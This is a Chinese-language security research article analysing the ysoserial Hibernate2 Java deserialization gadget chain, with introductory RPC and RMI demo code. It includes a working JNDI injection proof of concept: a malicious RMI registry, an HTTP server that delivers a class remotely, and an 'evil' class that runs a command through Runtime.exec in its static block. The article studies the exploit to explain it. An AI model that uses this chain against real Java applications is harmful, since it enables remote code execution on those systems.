作者:天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/EeDpAP2n3RZ-3EYTET27nw
相關文章:Java 反序列化系列 ysoserial Hibernate1
1.Hibernate簡介
Hibernate是一個開放源代碼的對象關系映射框架,它對JDBC進行了非常輕量級的對象封裝,它將POJO與數據庫表建立映射關系,是一個全自動的ORM框架,hibernate可以自動生成SQL語句,自動執行,使得Java程序員可以隨心所欲的使用對象編程思維來操縱數據庫。 Hibernate可以應用在任何使用JDBC的場合,既可以在Java的客戶端程序使用,也可以在Servlet/JSP的Web應用中使用,最具革命意義的是,Hibernate可以在應用EJB的JaveEE架構中取代CMP,完成數據持久化的重任。
2.RPC簡介
RPC(Remote Procedure Call)遠程過程調用。允許一臺計算機程序遠程調用另外一臺計算機的子程序,不用關心底層網絡通信。
很多人對RPC的概念很模糊,其實RPC是建立在Socket的基礎上的。通過Socket將對另一臺計算機中的某個類的某個方法的請求同時包含該方法所需要傳輸的參數序列化傳輸過去,然后在另一臺計算機接收后判斷具體調用的哪個類的哪一個方法,然后通過反射調用該方法并傳入參數,最終將方法的返回值序列化并通過Socket傳輸回發送方法調用請求的那臺計算機上,這樣的一個過程就是所謂的遠程方法調用
一次RPC調用的過程大概有10步:
1.執行客戶端調用語句,傳送參數
2.調用本地系統發送網絡消息
3.消息傳送到遠程主機
4.服務器得到消息并取得參數
5.根據調用請求以及參數執行遠程過程(服務)
6.執行過程完畢,將結果返回服務器句柄
7.服務器句柄返回結果,調用遠程主機的系統網絡服務發送結果
8.消息傳回本地主機
9.客戶端句柄由本地主機的網絡服務接收消息
10.客戶端接收到調用語句返回的結果數據
以下是一張截取自網上的RPC執行流程圖

接下來通過java代碼來實現一個最簡化的RPC Demo
先看一下文件結構首先是client端也就是發起遠程方法請求的一方

然后是server端也就是處理遠程方法請求的一方

首先看RpcPrincipleTestInterface接口,此接口是公開的,也就是這個接口文件是client端和server端中都存在的,接下來是RpcPrincipleTestInterface的代碼
import java.io.Serializable;
public interface RpcPrincipleTestInterface extends Serializable {
public int myAdd(int firstNum, int SecondNum);
public int mySub(int firstNum, int SecondNum);
public String sayHello(String name);
}
然后我們觀察client端的RpcPrincipleClientTestimpl.java
public class RpcPrincipleClientTestimpl {
public static void main(String[] args)throws Exception {
RpcPrincipleTestInterface rpcPrincipleTestInterface = (RpcPrincipleTestInterface)Stub.getStub();
int resultOne = rpcPrincipleTestInterface.myAdd(2,3);
System.out.println(resultOne+"\n");
int resultTwo = rpcPrincipleTestInterface.mySub(5,4);
System.out.println(resultTwo+"\n");
String resultThree = rpcPrincipleTestInterface.sayHello("張三");
System.out.println(resultThree+"\n");
}
}
下面是執行結果

可以看到我們執行了RpcPrincipleTestInterface接口中的方法但是我們在本地并未有任何RpcPrincipleTestInterface接口的具體實現?那這些個執行結果究竟是誰給出的呢?
我們通過觀察代碼不難發現,為rpcPrincipleTestInterface變量賦值的是Stub.getStub()方法,該方法的返回值被我們強轉成了RpcPrincipleTestInterface類型。那Stub.getStub()方法的返回值究竟是什么我們繼續深入來看
下面是Stub.java的代碼
public class Stub {
public static Object getStub(){
InvocationHandler h = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Socket socket = new Socket("127.0.0.1",8888);
String methodName = method.getName();
if(methodName.equals("myAdd")||methodName.equals("mySub")){
Class[] parameterType = method.getParameterTypes();
ObjectOutputStream outputStream = new ObjectOutputStream(socket.getOutputStream());
outputStream.writeUTF(methodName);
outputStream.writeObject(parameterType);
outputStream.writeObject(args);
outputStream.flush();
//outputStream.close();
DataInputStream inputStream = new DataInputStream(socket.getInputStream());
int result = inputStream.readInt();
inputStream.close();
return result;
}else if (methodName.equals("sayHello")){
Class[] parameterType = method.getParameterTypes();
ObjectOutputStream outputStream = new ObjectOutputStream(socket.getOutputStream());
outputStream.writeUTF(methodName);
outputStream.writeObject(parameterType);
outputStream.writeObject(args);
outputStream.flush();
DataInputStream inputStream = new DataInputStream(socket.getInputStream());
String result = inputStream.readUTF();
return result;
}else {
System.out.println("請確認你調用的方法是否存在");
return null;
}
}
};
Object object = Proxy.newProxyInstance(RpcPrincipleTestInterface.class.getClassLoader(),new Class[]{RpcPrincipleTestInterface.class},h);
return object;
}
}
不難看出最終返回的結果是一個實現了RpcPrincipleTestInterface接口的動態生成的Proxy對象,傳入的handler參數中包含了調用遠程方法的核心操作。
首先熟悉java動態代理的同學都清楚,當我們調用動態代理對象的某個方法時,其實都是在調用InvocationHandler對象中被重寫的invoke方法。所以當我們在RpcPrincipleClientTestimpl中調用rpcPrincipleTestInterface.myAdd()方法時本質調用的是InvocationHandler.invoke方法。同時方法名“myAdd”作為參數傳入invoke中,我們首先創建一個socket對象將請求的地址和端口作為參數傳入。然后獲取方法名,接下來判斷當前調用的方法是哪一個,判斷完成后,將方法名,參數類型,還有參數的值序列化發送給server端,然后通過DataInputStream讀取socket接收到的數據并反序列化,然后進行返回。
講完了client端,我們再來看看server端,首先來看RpcPrincipleTestImpl.java的代碼
public class RpcPrincipleTestImpl implements RpcPrincipleTestInterface {
private static final long serialVersionUID = 8084422270826068537L;
@Override
public int myAdd(int firstNum,int SecondNum) {
return firstNum + SecondNum;
}
@Override
public int mySub(int firstNum,int SecondNum) {
return firstNum - SecondNum;
}
@Override
public String sayHello(String name) {
return name+"Say Hello";
}
}
我們看到RpcPrincipleTestInterface接口真正的實現類是RpcPrincipleTestImpl,那剛才我們究竟是怎么做到在client端調用了server端的RpcPrincipleTestImpl的呢?關鍵在于RpcPrincipleServerSkeleton這個類,我們觀察下他的源碼
public class RpcPrincipleServerSkeleton {
private static boolean running = true;
public static void main(String[] args) throws Exception {
ServerSocket serverSocket = new ServerSocket(8888);
while (running){
Socket s = serverSocket.accept();
process(s);
s.close();
}
serverSocket.close();
}
private static void process(Socket s)throws Exception{
InputStream in = s.getInputStream();
OutputStream out = s.getOutputStream();
ObjectInputStream ois= new ObjectInputStream(in);
String methodName = ois.readUTF();
Class[] parameterType = (Class[])ois.readObject();
Object[] args =(Object[]) ois.readObject();
RpcPrincipleTestInterface rpcPrincipleTestInterface = new RpcPrincipleTestImpl();
Method method = rpcPrincipleTestInterface.getClass().getMethod(methodName,parameterType);
Type t = method.getAnnotatedReturnType().getType();
if(t.getTypeName().equals("int")){
int result = (int)method.invoke(rpcPrincipleTestInterface,args);
DataOutputStream output = new DataOutputStream(out);
output.writeInt(result);
output.flush();
}else if(t.getTypeName().equals("java.lang.String")){
String result = (String) method.invoke(rpcPrincipleTestInterface,args);
DataOutputStream output = new DataOutputStream(out);
output.writeUTF(result);
output.flush();
}
}
}
在RpcPrincipleServerSkeleton中我們首先監聽了8888端口,然后將Socket對象傳入process方法中。process方法中接收客戶端傳的,調用方法的方法名,參數類型,以及參數值。按順序將其反序列化出來然后通過反射調用RpcPrincipleTestImpl對象中的對應方法,然后將得到的返回值進行類型的判斷,緊接著就將其進行序列化然后通過socket返回給client端,至此就是一個RPC的基礎流程,我在這里演示的RPC demo可以說是簡陋,真實的RPC框架背后的實現要比這復雜n倍,但是復雜歸復雜,原理都是一樣的。
3.RMI簡介
介紹完了RPC,接下來就介紹一下RPC框架的一種實現,也就是RMI,直接通過代碼來進行演示
先看一下遠程方法調用方,也就是client端的目錄結構

然后是遠程方法服務提供方,也就是server端

RMITestInterface是一個公開接口,就像上一節所講的,底層生成的代理類是需要實現該接口的,此公共接口一定要繼承java.rmi.Remote接口,否則編譯時會報錯,以下是RMITestInterface的代碼,
public interface RMITestInterface extends Remote {
public String sayHello(String name)throws RemoteException;
}
我們在RMIClientTest類中發起遠程方法調用的請求,以下是RMIClientTest的代碼
public class RMIClientTest {
public static void main(String[] args) {
try{
/** Registry registry = LocateRegistry.getRegistry("localhost",1099);
RMITestInterface rmiTestInterface = (RMITestInterface) registry.lookup("RMIClientTestImpl");*/
RMITestInterface rmiTestInterface = (RMITestInterface) Naming.lookup("rmi://localhost:1099/RMITestInterfaceImpl");
/**Naming.lookup幫忙封裝了上面的兩個步驟,將兩步合成一步了,原本要寫兩行代碼現在只要一行就行了*/
System.out.println(rmiTestInterface.sayHello("World"));
}catch (Exception e){
e.printStackTrace();
}
}
}
接下來就是server端的代碼,首先我們看RMITestInterfaceImpl,可以看到該類實現了RMITestInterface接口,同時同學們應該也注意到該類繼承了一個UnicastRemoteObject類,在RMI中如果一個類要綁定進行遠程方法提供的話有兩種方法,一就是繼承UnicastRemoteObject類,第二種就是在實例化時通過調用UnicastRemoteObject.exportObject()靜態方法來實例化該對象。
public class RMITestInterfaceImpl extends UnicastRemoteObject implements RMITestInterface {
private static final long serialVersionUID = -6151588688230387192L;
public int num = 1;
protected RMITestInterfaceImpl() throws RemoteException {
super();
}
@Override
public String sayHello(String name) throws RemoteException {
return "Hello" + name + "^_^";
}
}
最后我們來看RMIServerTestImpl類,在該類里我們綁定了一個RMITestInterface對象來進行提供遠程方法調用的服務
public class RMIServerTestImpl {
public static void main(String[] args) {
try {
RMITestInterface rmiTestInterface = new RMITestInterfaceImpl();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://localhost:1099/RMITestInterfaceImpl",rmiTestInterface);
System.out.println("Ready");
}catch (Exception e){
e.printStackTrace();
}
}
}
最后我們在client端執行RMIClientTest可得到以下結果

4.Hibernate2漏洞原理深度分析
整體漏洞的執行邏輯同Hibernate1并無太大差別,首先看一下ysoserial Hibernate封裝惡意代碼的邏輯,這次還是用了和上次一樣的腦圖,對其中利用到的不同的類進行了修改

除了一開始被封裝而且是用來最終執行代碼的TemplatesImpl類變成了JdbcRowSetImpl類以外幾乎沒有什么變化了,也就是說前期的執行調用鏈是一樣的。
為了方便大家理解就再把執行過程從頭簡述一遍。
首先反序列化我們最終封裝完成的HashMap對象,自然會調用HashMap的readObject()方法,然后在readObject()方法的末尾有一個for循環,

由腦圖可知這里的key和value對象存儲的是同一個Type對象


接下來在putForCreate()方法里又調用的hash()方法

最終嵌套執行到BasicPropertyAccessor$BasicGetter的get()方法。

這里調用了Method.invoke方法,我們看一下method變量和target的具體信息

可以看到最終通過反射的方式調用了JdbcRowSetImpl.getDatabaseMetaData()方法,漏洞觸發真正的重點從這里才開始和ysoserial Hibernate1有所不同。
我們跟進getDatabaseMetaData()方法,看到該方法同時調用了自身的connect方法,我們繼續跟進

Var1.lookup(this.getDataSourceName()就是觸發遠程代碼執行的罪魁禍首

但這么說大家肯定有人會不理解,為何這個函數會造成代碼執行。
首先我們先看這個var1,var1是一個InitialContext對象,存在于javax.naming這個包中

那么javax.naming這個包又是干什么的?我們百度一下就可以知道,這個包就是我們常聽到的一個概念JNDI
關于JNDI的基礎概念就不再過多贅述了
正如第3節內容所講的RMI遠程方法調用一樣,JNDI功能中的一部分就是幫我們又封裝了一下RMI,從而可以讓我們更方便的實現遠程方法調用。
下面用代碼來復現這個漏洞的原理
首先是jndi client端
public class JndiClientTest {
public static void main(String[] args) throws NamingException {
Context ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:9999/evil");
System.out.println(System.getProperty("java.version"));
}
}
然后是一個惡意server端
public class RMIServer1 {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
Reference reference = new Reference("ExportObject", "com.test.remoteclass.evil", "http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}
緊接著是一個用來提供惡意類加載的一個簡易http Server
public class HttpServer implements HttpHandler {
@Override
public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while (inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException {
com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);
System.out.println("String HTTP Server on port: 8000");
httpServer.createContext("/", new HttpServer());
httpServer.setExecutor(null);
httpServer.start();
}
}
最后就是我們包含有惡意代碼的類了
public class evil implements ObjectFactory, Serializable {
private static final long serialVersionUID = 4474289574195395731L;
static {
try {
exec("open /Applications/Calculator.app");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
in.close();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
可以看到在靜態代碼塊中寫有我們要執行的命令
我們先啟動server端和http server。然后運行client端就可以出發命令執行

這是為什么呢?在第三節中我們簡單介紹了RMI,RMI可以進行遠程方法調用,RMI還可以進行動態類加載,即可以從一個遠程服務器http://、ftp://、file://等形式動態加載一個.class文件到本地然后進行操作。但是這種RMI動態類加載的限制極大。有以下要求
-
由于Java SecurityManager的限制,默認是不允許遠程加載的,如果需要進行遠程加載類,需要安裝RMISecurityManager并且配置java.security.policy,這在后面的利用中可以看到。
-
屬性 java.rmi.server.useCodebaseOnly 的值必需為false。但是從JDK 6u45、7u21開始,java.rmi.server.useCodebaseOnly 的默認值就是true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前虛擬機的java.rmi.server.codebase 指定路徑加載類文件。使用這個屬性來防止虛擬機從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。
我們使用JNDI同樣可以進行動態類加載,而且限制相比于使用RMI要小很多。在jdk1.7.0_21版本我們可以不做任何配置直接進行遠程class的加載。
但當jdk版本大于等于JDK 6u132、JDK 7u122、JDK 8u113 之后,系統屬性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的默認值變為false,即默認不允許RMI、cosnaming從遠程的Codebase加載Reference工廠類。
我們更換jdk版本演示一下,可以看到jdk版本為1.8.0._22時會拋出com.sun.jndi.rmi.object.trustURLCodebase 為flase的異常

至此 ysoserial Hibernate2 漏洞原理分析完畢,感謝觀看。
5.總結
此次漏洞利用的思路相較于之前的Hibernate1 主要變化在最終觸發命令執行的類由TemplatesImpl類變成了JdbcRowSetImpl類,最終執行漏洞方式又由加載本地通過動態字節碼生成的類從而觸發其靜態代碼塊中的惡意代碼換成了通過RMI+JNDI+Reference, 然后最終由lookup()方法動態加載一個遠程class文件從而觸發其靜態代碼塊中的惡意代碼。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1199/
暫無評論